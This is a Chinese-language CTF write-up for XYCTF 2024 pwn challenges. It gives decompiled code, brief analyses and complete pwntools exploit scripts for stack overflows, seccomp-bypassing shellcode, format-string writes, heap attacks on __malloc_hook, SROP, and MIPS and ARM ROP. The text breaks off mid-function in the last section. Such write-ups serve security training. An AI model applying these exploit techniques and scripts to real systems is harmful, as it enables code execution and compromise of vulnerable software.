XYCTF 2024 复现

·约 83 分钟

目录
  1. 1. hello_world
  2. 2. invisible_flag
  3. 3. static_link
  4. 4. fmt
  5. 5. malloc_flag
  6. 6. baby_gift
  7. 7. Intermittent
  8. 8. guestbook1
  9. 9. fastfastfast
  10. 10. simple_srop
  11. 11. one_byte
  12. 12. EZ1.0
  13. 13. EZ2.0
  14. 14. ptmalloc2 it’s myheap
  15. 15. ptmalloc2 it’s myheap pro
  16. 16. ptmalloc2 it’s myheap plus

1. hello_world

确实是签到题,ret2libc

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

分析

第一次读入写 0x28 字节,用 %s 泄出 libc 地址;第二次读入正常溢出,打 ret2libc。

exp

from pwn import *

context.log_level = 'debug'
context.binary = './vuln'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')

io = process('./vuln')
gdb.attach(io, 'b $rebase(0x1233)')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.recvuntil(b'please input your name: ')
io.send(b'a'*0x27+b'x')

io.recvuntil(b'x')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x29d90
info('libc base: ' + hex(libc.address))

rdi = libc.address+0x2a3e5
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
info('rdi: ' + hex(rdi))
info('system: ' + hex(system))
info('binsh: ' + hex(binsh))

payload = b'a'*0x27 + b'x' +p64(rdi+1)+ p64(rdi)+p64(binsh) + p64(system)
io.send(payload)

io.interactive()

2. invisible_flag

shellcode + sandbox

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+8h] [rbp-118h]

  init();
  addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    puts("show your magic again");
    read(0, addr, 0x200uLL);
    sandbox();
    ((void (*)(void))addr)();
    return 0;
  }
}

分析

mmap 了 0x114514000 这样一个地址,然后读入 shellcode

sandbox

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

ban 掉不少常见系统调用,open 和 execve 都在名单里,所以只能走 openat + sendfile + write 这条读文件的路。

int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd: 表示目录的文件描述符。如果是 AT_FDCWD,则相对路径是从当前工作目录开始查找。
pathname: 要打开的文件路径,例如"/flag"。
flags: 文件打开的标志,类似于 open 的标志,如 O_RDONLY、O_WRONLY、O_RDWR、O_CREAT 等。
mode: 新文件的权限,仅当使用 O_CREAT 时才需要。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
out_fd: 目标文件描述符,通常是一个套接字文件描述符(socket),表示将数据发送到哪里。
in_fd: 源文件描述符,表示从哪里读取数据,通常是一个普通的文件。
offset: 指向偏移量的指针,表示从源文件的哪个位置开始读取。如果为 NULL,则从当前偏移量开始读取。
count: 需要传输的字节数。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

shellcode = '''
mov rdi,0xffffff9c
mov rax,0x67616c66
push rax
mov rsi, rsp
mov rdx, 0
mov rax,0x101
syscall

mov rdi,1
mov rsi, rax
xor rdx, rdx
mov r10, 0x40
mov rax, 0x28
syscall
'''

shellcode = asm(shellcode)

io = process('./vuln')
gdb.attach(io, 'b *0x114514000')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(shellcode)

io.interactive()

静态编译的程序,重点是找 gadget。

__int64 vuln()
{
  _BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("static_link? ret2??");
  return read(0LL, v1, 256LL);
}

分析

就是普通栈溢出,但程序里找不到 /bin/sh 字符串,于是考虑栈迁移,迁到已知地址再写。

exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
gdb.attach(io, 'b *0x401846')

# addr = 'xxx'.split(':')
# io = remote(addr[0], int(addr[1]))

offset = 0x20
ret = 0x40101a
rdi = 0x401f1f
rsi = 0x409f8e
rdx = 0x451322
rax = 0x447fe7
syscall = 0x401cd4
datas = 0x4C50F0

payload = b'a' * offset
payload += p64(datas)
payload += p64(0x401826)
io.recvuntil(b'static_link? ret2??')
io.sendline(payload)

payload = b'/bin/sh\0' * 4
payload += p64(datas)
payload += p64(rdi)
payload += p64(datas - 0x10)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(syscall)

io.recvuntil(b'static_link? ret2??')
io.sendline(payload)

io.interactive()

4. fmt

题目是格式化字符串,但入口不是 printf。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

分析

拿到 libc 地址后,scanf 能在任意地址写任意内容;调一下会发现 libc 与 ld 的偏移固定,于是直接改写 ld 上的 exit_hook(__rtld_lock_lock_recursive / __rtld_lock_unlock_recursive)为 one_gadget。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')

io = process('./vuln')
gdb.attach(io, 'b *0x40128D')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.recvuntil(b'Welcome to xyctf, this is a gift: 0x')
libc.address = int(io.recvline().strip(), 16) - 0x61cc0
info('libc base: ' + hex(libc.address))
# dl_fini = libc.symbols['_dl_fini']
# info('_dl_fini: ' + hex(dl_fini))
exit_hook = libc.address + 0x222f68

payload = b'%8$s\0\0\0\0'+p64(exit_hook)*3
io.send(payload)

io.sendline(p64(0x4012C2))

io.interactive()

5. malloc_flag

heap 基础题

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4;                // [rsp+0h] [rbp-130h] BYREF
  int v5;                // [rsp+4h] [rbp-12Ch]
  int v6;                // [rsp+8h] [rbp-128h]
  int i;                 // [rsp+Ch] [rbp-124h]
  FILE *stream;          // [rsp+10h] [rbp-120h]
  size_t n;              // [rsp+18h] [rbp-118h]
  void *ptr;             // [rsp+20h] [rbp-110h]
  size_t v11;            // [rsp+28h] [rbp-108h]
  size_t v12;            // [rsp+30h] [rbp-100h]
  void *v13;             // [rsp+38h] [rbp-F8h]
  char s2[64];           // [rsp+40h] [rbp-F0h] BYREF
  char src[64];          // [rsp+80h] [rbp-B0h] BYREF
  _BYTE v16[104];        // [rsp+C0h] [rbp-70h] BYREF
  unsigned __int64 v17;  // [rsp+128h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  stream = fopen("flag", "rb");
  if ( stream )
  {
    fseek(stream, 0LL, 2);
    n = ftell(stream);
    rewind(stream);
    ptr = malloc(0x100uLL);
    if ( ptr )
    {
      v11 = fread((char *)ptr + 16, 1uLL, n, stream);
      if ( v11 == n )
      {
        fclose(stream);
        free(ptr);
        v5 = 0;
        while ( 1 )
        {
          puts("1. 分配内存");
          puts("2. 释放内存");
          puts("3. 查看内存块");
          puts("4. 查看内存块内容");
          puts("5. 退出");
          printf("请输入选项: ");
          __isoc99_scanf("%d", &v4);
          switch ( v4 )
          {
            case 1:
              if ( numChunks > 9 )
              {
                puts("已达到最大内存块数,无法分配更多内存");
              }
              else
              {
                puts("请输入名字: ");
                __isoc99_scanf("%s", src);
                puts("请输入大小 (十进制或十六进制):");
                __isoc99_scanf("%s", v16);
                v12 = parseSize(v16);
                v13 = zmalloc(v12);
                if ( v13 )
                {
                  strncpy((char *)&allocatedChunks + 72 * numChunks, src, 0x32uLL);
                  *((_QWORD *)&unk_4098 + 9 * numChunks) = v12;
                  qword_40A0[9 * numChunks++] = v13;
                  printf("已分配内存块,名字:%s,", src);
                  printSize(v12);
                }
                else
                {
                  puts("内存分配失败");
                }
              }
              continue;
            case 2:
              puts("请输入要释放的名字: ");
              __isoc99_scanf("%s", s2);
              v5 = 0;
              v6 = 0;
              break;
            case 3:
              displayChunks();
              continue;
            case 4:
              puts("请输入要查看内容的内存块名字: ");
              __isoc99_scanf("%s", s2);
              showContent(s2);
              continue;
            case 5:
              exit(0);
            default:
              puts("无效选项,请重新输入");
              continue;
          }
          while ( 1 )
          {
            if ( v6 >= numChunks )
              goto LABEL_22;
            if ( !strcmp((const char *)&allocatedChunks + 72 * v6, s2) )
              break;
            ++v6;
          }
          zfree(qword_40A0[9 * v6]);
          printf("已释放内存块,名字:%s\n", s2);
          for ( i = v6; i < numChunks - 1; ++i )
          {
            strncpy((char *)&allocatedChunks + 72 * i, (const char *)&allocatedChunks + 72 * i + 72, 0x32uLL);
            *((_QWORD *)&unk_4098 + 9 * i) = *((_QWORD *)&unk_4098 + 9 * i + 9);
            qword_40A0[9 * i] = qword_40A0[9 * i + 9];
          }
          --numChunks;
          v5 = 1;
LABEL_22:
          if ( !v5 )
            printf(&byte_2090, s2);
        }
      }
      fwrite(&unk_20E7, 1uLL, 0x1CuLL, stderr);
      return 1;
    }
    else
    {
      fwrite(&unk_20D3, 1uLL, 0x13uLL, stderr);
      return 1;
    }
  }
  else
  {
    fprintf(stderr, &byte_20BC, v16);
    return 1;
  }
}

分析

一开始申请了一个大小为 256 的 chunk 写了 flag。free 之后它进了 tcache,同大小再 malloc 会原样拿回同一块,内容还在——直接 display 就是 flag。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(b'1')
io.sendline(b'flag')
io.sendline(b'256')
io.sendline(b'4')
io.sendline(b'flag')

io.interactive()

6. baby_gift

这题考汇编。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  Menu();
  GetInfo();
  return 0;
}

void GetInfo()
{
  char s[32]; // [rsp+0h] [rbp-40h] BYREF
  char v1[32]; // [rsp+20h] [rbp-20h] BYREF

  printf("Your name:");
  putchar(10);
  fgets(s, 32, stdin);
  printf("Your passwd:");
  putchar(10);
  fgets(v1, 64, stdin);
  Gift();
}
.text:0000000000401219 ; void Gift()
.text:0000000000401219                 public Gift
.text:0000000000401219 Gift            proc near               ; CODE XREF: GetInfo+7F↓p
.text:0000000000401219
.text:0000000000401219 var_8           = qword ptr -8
.text:0000000000401219
.text:0000000000401219 ; __unwind {
.text:0000000000401219                 endbr64
.text:000000000040121D                 push    rbp
.text:000000000040121E                 mov     rbp, rsp
.text:0000000000401221                 mov     [rbp+var_8], rdi
.text:0000000000401225                 nop
.text:0000000000401226                 pop     rbp
.text:0000000000401227                 retn
.text:0000000000401227 ; } // starts at 401219
.text:0000000000401227 Gift            endp

分析

关键在于用栈溢出给 rdi 赋值,再跳到 printf 泄 libc,为后面的 ret2libc 铺路。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

ret = 0x40101a

io = process('./vuln')
gdb.attach(io, 'b *0x401283')

# addr = 'xxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.recvuntil(b'Your name:')
io.sendline(b'1')

io.recvuntil(b'Your passwd:')
payload = b'%3$p'
payload = payload.ljust(0x20, b'\x00')
# payload += p64(ret)
payload += p64(0x404200)
payload += p64(0x401274)
io.sendline(payload)

io.recvline()
libc.address = int(io.recvuntil(b'\n').strip(), 16) - 0x1147e2
info('libc base: ' + hex(libc.address))

payload = b''
payload = payload.ljust(0x20, b'\x00')
payload += p64(0x4041a0)
payload += p64(libc.address + 0xebc81)

io.sendline(payload)

io.interactive()

7. Intermittent

考的是 shellcode 的熟练度。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i;   // [rsp+0h] [rbp-120h]
  int *v5;              // [rsp+8h] [rbp-118h]
  _DWORD buf[66];       // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7;  // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == -1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      v5[4 * i] = buf[i];
    (v5)();
    return 0;
  }
}

分析

每段 shellcode 只有四个字节:pop 和 push 各占一字节,末尾 jmp 接到下一段;再配合二次读入把完整 shellcode 铺开。

exp

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

shellcode = asm('''push rdx
                  pop rsi
                  jmp $+16
                  syscall
                  syscall''')
sh = asm('''mov rax,0x68732f6e69622f
            xor rdi,rdi
            push rax
            lea rdi,[rsp]
            xor rsi,rsi
            xor rdx,rdx
            mov rax,0x3b
            syscall
         ''')

io = process('./vuln')
gdb.attach(io, 'b *$rebase(0x135F)')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(shellcode)

# pause()

io.sendline(b'\x90'*0x14+sh)

io.interactive()

8. guestbook1

这题考数组越界,当时还不太熟。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  GuestBook();
  return 0;
}

void __cdecl GuestBook()
{
  int index;               // [rsp+Ch] [rbp-224h] BYREF
  char name[32][16];       // [rsp+10h] [rbp-220h] BYREF
  unsigned __int8 id[32];  // [rsp+210h] [rbp-20h] BYREF

  puts("Welcome to starRail.");
  puts("please enter your name and id");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("index");
      scanf("%d", &index);
      if ( index <= 32 )
        break;             // 32
      puts("out of range");
    }
    if ( index < 0 )
      break;
    puts("name:");
    read(0, name[index], 0x10uLL);
    puts("id:");
    scanf("%hhu", &id[index]);
  }
  puts("Have a good time!");
}

分析

越界写覆盖 rbp,栈迁移后爆破低位跳到后门。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

while True:
    try:
        io = process('./pwn')
        gdb.attach(io, 'b *0x4012A8')
        # addr = 'xxxxx'.split(':')
        # io = remote(addr[0], int(addr[1]))

        for i in range(32):
            io.recvuntil(b'index')
            io.sendline(str(i).encode())

            io.recvuntil(b'name:')
            io.send(p64(0x40132B)*2)
            io.recvuntil(b'id:')
            io.sendline(b'0')

        io.recvuntil(b'index')
        io.sendline(b'32')

        io.recvuntil(b'name:')
        io.send(b'A' * 0x10)

        io.recvuntil(b'id:')
        io.sendline(b'0')

        io.recvuntil(b'index')
        io.sendline(b'-1')
        io.interactive()
        break
    except:
        io.close()

io.interactive()

9. fastfastfast

常规 UAF。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int choice;     // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4;     // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();              //   puts("1. create note");
                           //   puts("2. delete note");
                           //   puts("3. show content");
                           //   printf(">>> ");
      scanf("%u", &choice);
      if ( choice != 1 )
        break;
      create();
    }
    if ( choice == 2 )
    {
      delete();
    }
    else
    {
      if ( choice != 3 )
      {
        puts("Error choice");
        exit(0);
      }
      show();
    }
  }
}

void __cdecl create()
{
  unsigned int idxx;       // ebx
  unsigned int c;          // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v2;     // [rsp+8h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  puts("please input note idx");
  scanf("%u", &c);
  if ( c <= 0xF )
  {
    idxx = c;
    note_addr[idxx] = malloc(0x68uLL);
    puts("please input content");
    read(0, note_addr[c], 0x68uLL);
  }
  else
  {
    puts("idx error");
  }
}

void __cdecl delete()
{
  unsigned int idx;        // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1;     // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);  // uaf
  else
    puts("idx error");
}

void __cdecl show()
{
  unsigned int idx;        // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1;     // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  scanf("%u", &idx);
  if ( idx <= 0xF )
  {
    if ( note_addr[idx] )
      write(1, note_addr[idx], 0x68uLL);
    else
      puts("note is null");
  }
  else
  {
    puts("idx error");
  }
}

分析

标准 UAF:打 fastbin attack,劫持 __malloc_hook。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')

io = process(elf.path)
# gdb.attach(io, 'b *0x40154C')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

def cmd(s):
    io.sendlineafter(b'>>> ', s)

def add(idx, content):
    cmd(b'1')
    io.sendlineafter(b'please input note idx', str(idx).encode())
    io.sendafter(b'please input content', content)

def delete(idx):
    cmd(b'2')
    io.sendlineafter(b'please input note idx', str(idx).encode())

def show(idx):
    cmd(b'3')
    io.sendlineafter(b'please input note idx', str(idx).encode())

for i in range(12):
    add(i, b'x' * 0x20)

for i in range(11):
    delete(i)

cmd(b'1')
io.sendlineafter(b'please input note idx', str(0xcafebeef).encode()*0x100)

show(7)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecd90
info('libc.address:'+hex(libc.address))
one = libc.address + 0xe3b31
info('one:'+hex(one))
malloc_hook = libc.symbols['__malloc_hook']

for i in range(11):
    add(i, b'x' * 0x20)

for i in range(7):
    delete(i)

info('plz check some things')

delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i, b'x' * 0x20)

info('plz check some things')

add(7, p64(malloc_hook-0x23))
add(8, b'x')
add(9, b'x')
add(7, b'a'*0x23 + p64(one))

cmd(b'1')
io.sendlineafter(b'please input note idx', b'1')

io.interactive()

10. simple_srop

程序很短。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  read(0, buf, 0x200uLL);
  return 0;
}

__int64 init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return sandbox();
}

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  return seccomp_load(v1);
}

分析

先用 SROP 做栈迁移,再用 SROP 打 ORW。sigreturn frame 的好处是一次把所有寄存器摆好,不用一个个凑 pop rdi; ret 这类 gadget。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
# gdb.attach(io, 'b *0x4012CF')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

offset = 0x28
signrt = 0x401296
syscall = 0x40129D
ret = 0x4012D5

sign = SigreturnFrame()
sign.rax = 0
sign.rdi = 0
sign.rsi = 0x404200
sign.rdx = 0x800
sign.rip = syscall
sign.rsp = 0x404208

io.sendline(b'a'*offset + p64(signrt) + bytes(sign))

signopen = SigreturnFrame()
signopen.rax = 2
signopen.rdi = 0x404200
signopen.rsi = 0
signopen.rip = syscall
signopen.rsp = 0x404308

signread = SigreturnFrame()
signread.rax = 0
signread.rdi = 3
signread.rsi = 0x404100
signread.rdx = 0x3c
signread.rip = syscall
signread.rsp = 0x404408

signwrite = SigreturnFrame()
signwrite.rax = 1
signwrite.rdi = 1
signwrite.rsi = 0x404100
signwrite.rdx = 0x3c
signwrite.rip = syscall
signwrite.rsp = 0

io.sendline(b'flag\0\0\0\0' + p64(signrt) + bytes(signopen) + p64(signrt) +
            bytes(signread) + p64(signrt) + bytes(signwrite))

io.interactive()

11. one_byte

off-by-one 加 UAF。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice;                    // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();                    //   puts("Welcome to XYCTF");
                                 //   puts("[1] add_chunk()");
                                 //   puts("[2] delete_chunk()");
                                 //   puts("[3] view_chunk()");
                                 //   puts("[4] edit_chunk()");
                                 //   puts("[5] exit()");
                                 //   return printf(">>> ");
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 4:
        edit_chunk();
        break;
      case 5:
        puts("[-] exit()");
        exit(0);
      default:
        puts("[-] Error choice!");
        break;
    }
  }
}

unsigned __int64 add_chunk()
{
  unsigned int v0;               // ebx
  unsigned int idx;              // [rsp+0h] [rbp-20h] BYREF
  int size;                      // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4;           // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%u", &idx);
  if ( idx <= 0x1F )
  {
    if ( inused_list[idx] )
    {
      puts("[-] Chunk inuse!");
    }
    else
    {
      printf("[?] Enter chunk size: ");
      scanf("%u", &size);
      if ( size <= 0x200 )
      {
        v0 = idx;
        chunk_list[v0] = malloc(size);
        size_list[idx] = size;
        inused_list[idx] = 1;
      }
      else
      {
        puts("[-] too big");
      }
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 delete_chunk()
{
  unsigned int v1;               // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2;           // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%u", &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( chunk_list[v1] )
      {
        free(chunk_list[v1]);    // uaf
        inused_list[v1] = 0;
      }
      else
      {
        puts("[-] No such chunk!");
      }
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 view_chunk()
{
  unsigned int v1;               // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2;           // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%u", &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( chunk_list[v1] )
        write(1, chunk_list[v1], size_list[v1]);
      else
        puts("[-] No such chunk!");
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_chunk()
{
  unsigned int v1;               // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2;           // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%u", &v1);
  if ( v1 <= 0x1F )
  {
    if ( inused_list[v1] )
    {
      if ( chunk_list[v1] )
        read_data(chunk_list[v1], size_list[v1]);
      else
        puts("[-] No such chunk!");
    }
    else
    {
      puts("[-] Chunk not inuse!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return __readfsqword(0x28u) ^ v2;
}

ssize_t __fastcall read_data(void *a1, int a2)
{
  return read(0, a1, (a2 + 1));  // off by one
}

分析

off-by-one + UAF:先填满 tcache,再打 fastbin attack 改 __malloc_hook。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')

io = process('./vuln')
# gdb.attach(io, 'b *$rebase(0x181C)')
# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

def cmd(c: int):
    io.sendlineafter(b'>>> ', str(c).encode())

def add(idx: int, size: int):
    cmd(1)
    io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())
    io.sendlineafter(b'[?] Enter chunk size: ', str(size).encode())

def delete(idx: int):
    cmd(2)
    io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())

def show(idx: int):
    cmd(3)
    io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())

def edit(idx: int, data: bytes):
    cmd(4)
    io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())
    io.send(data)

for i in range(7):
    add(i, 0xb0)

add(7, 0x18)
add(8, 0x20)
add(9, 0x80)
add(10, 0x20)

for i in range(7):
    delete(i)

extend = b'a'*0x10
extend += p64(0) + p8(0xc1)
edit(7, extend)
delete(8)

add(8, 0x20)
show(9)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
info('libc.address: ' + hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook']
info('malloc_hook: ' + hex(malloc_hook))
one = libc.address + 0xe3b01

info('plz check some things')

add(11, 0x80)
add(12, 0x80)
add(13, 0x80)

delete(13)
delete(9)
delete(12)

payload = p64(malloc_hook)
edit(11, payload)

add(14, 0x80)
add(15, 0x80)
add(16, 0x80)

payload = p64(one)
info('plz check the one gadget:'+ hex(one))
edit(16,payload)

add(17, 0x80)

io.interactive()

12. EZ1.0

第一次做 MIPS。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init_0(argc, argv, envp);
  puts("welcome XYCTF mips world");
  vuln();
  return 0;
}

int vuln()
{
  _BYTE v1[64]; // [sp+18h] [+18h] BYREF

  read(0, v1, 256);
  return 0;
}

分析

静态编译的 MIPS 程序,很小,就是普通栈溢出。但 MIPS 上找不到 pop rdi; ret 这类 gadget——好在它的段都可执行,可以直接写 shellcode。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'mips'

shellcode = asm('''li $t6, 0x6e69622f
li $t7,0x68732f
sw $t6, 0xc($sp)
sw $t7, 0x10($sp)
sw $zero, 0x14($sp)

la $a0, 0xc($sp)
li $a1, 0
li $a2, 0

li $v0, 4011
syscall
nop
''')

# io = process(['qemu-mipsel-static','-g' ,'1234', './mips'])
io = process(['qemu-mipsel-static', './mips'])

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

payload = b'a' * 0x40
payload += p32(0x492900)
payload += p32(0x400860)

io.sendline(payload)

pause()

payload = b'a' * 0x44
payload += p32(0x492900+0x60)
payload += shellcode

io.sendline(payload)

io.interactive()

13. EZ2.0

这次是 ARM。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init_0(argc, argv, envp);
  puts("welcome XYCTF arm world");
  vuln();
  return 0;
}

int vuln()
{
  _BYTE v1[68]; // [sp+0h] [bp-44h] BYREF

  read(0, v1, 256);
  return 0;
}

分析

同样静态编译、程序很小,不过这题能找到 gadget,可以打 ROP。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'arm'

# io = process(['qemu-arm-static', '-g', '1234', './arm'])
io = process(['qemu-arm-static', './arm'])

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

binsh = 0x8A090
pop_r7 = 0x27d78
pop_r0 = 0x5f73c
pop_r1 = 0x5f824
mov_r2 = 0x4dd04
svc = 0x102B4

payload = b'a'*68
payload += p32(pop_r7)
payload += p32(0xb)
payload += p32(pop_r1)
payload += p32(0)
payload += p32(mov_r2)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(pop_r0)
payload += p32(binsh)
payload += p32(svc)

pause()

io.send(payload)

io.interactive()

14. ptmalloc2 it’s myheap

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice;             // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();             //   puts("[1] add_chunk()");
                          //   puts("[2] delete_chunk()");
                          //   puts("[3] view_chunk()");
                          //   puts("[4] exit()");
                          //   return printf(">>> ");
      choice = get_choice();
      if ( choice != 1 )
